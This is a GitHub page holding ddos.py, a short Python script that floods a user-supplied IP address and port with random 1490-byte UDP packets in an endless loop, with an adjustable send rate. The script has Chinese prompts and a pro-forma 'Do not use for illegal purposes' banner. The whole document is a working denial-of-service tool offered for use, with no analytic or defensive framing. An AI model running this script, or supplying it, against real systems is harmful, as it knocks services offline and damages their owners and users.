-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathddos.py
60 lines (55 loc) · 1.43 KB
/
ddos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# beloved/DHS
"""
========================================
Name:DDos.2.5 Author: Lalevin Martin
Mailbox: [email protected]
Github: http://github.com/nacglalevin
Written in 2023-12-17
==================NACG==================
"""
# python3
import sys
import os
import time
import socket
import random
#Code Time
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
##############
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
#############
os.system("clear")
os.system("figlet DDOS NACG")
text="""
========================================
Name:DDos.2.5 Author: Lalevin Martin
Mailbox: [email protected]
Github: http://github.com/nacglalevin
Written in 2023-12-17
==================NACG==================
"""
print (" ")
print("\033[5;31m%s\033[0m" % text)
print (" ")
tpx="""
-----------------[Do not use for illegal purposes]----------------
"""
print("\033[5;31m%s\033[0m" % tpx)
print (" ")
ip = input("请输入 IP : ")
port = int(input("攻击端口 : "))
sd = int(input("攻击速度(1~1000) : "))
os.system("clear")
sent = 0
while True:
sock.sendto(bytes, (ip,port))
sent = sent + 1
print ("已发送 %s 个数据包到 %s 端口 %d"%(sent,ip,port))
time.sleep((1000-sd)/2000)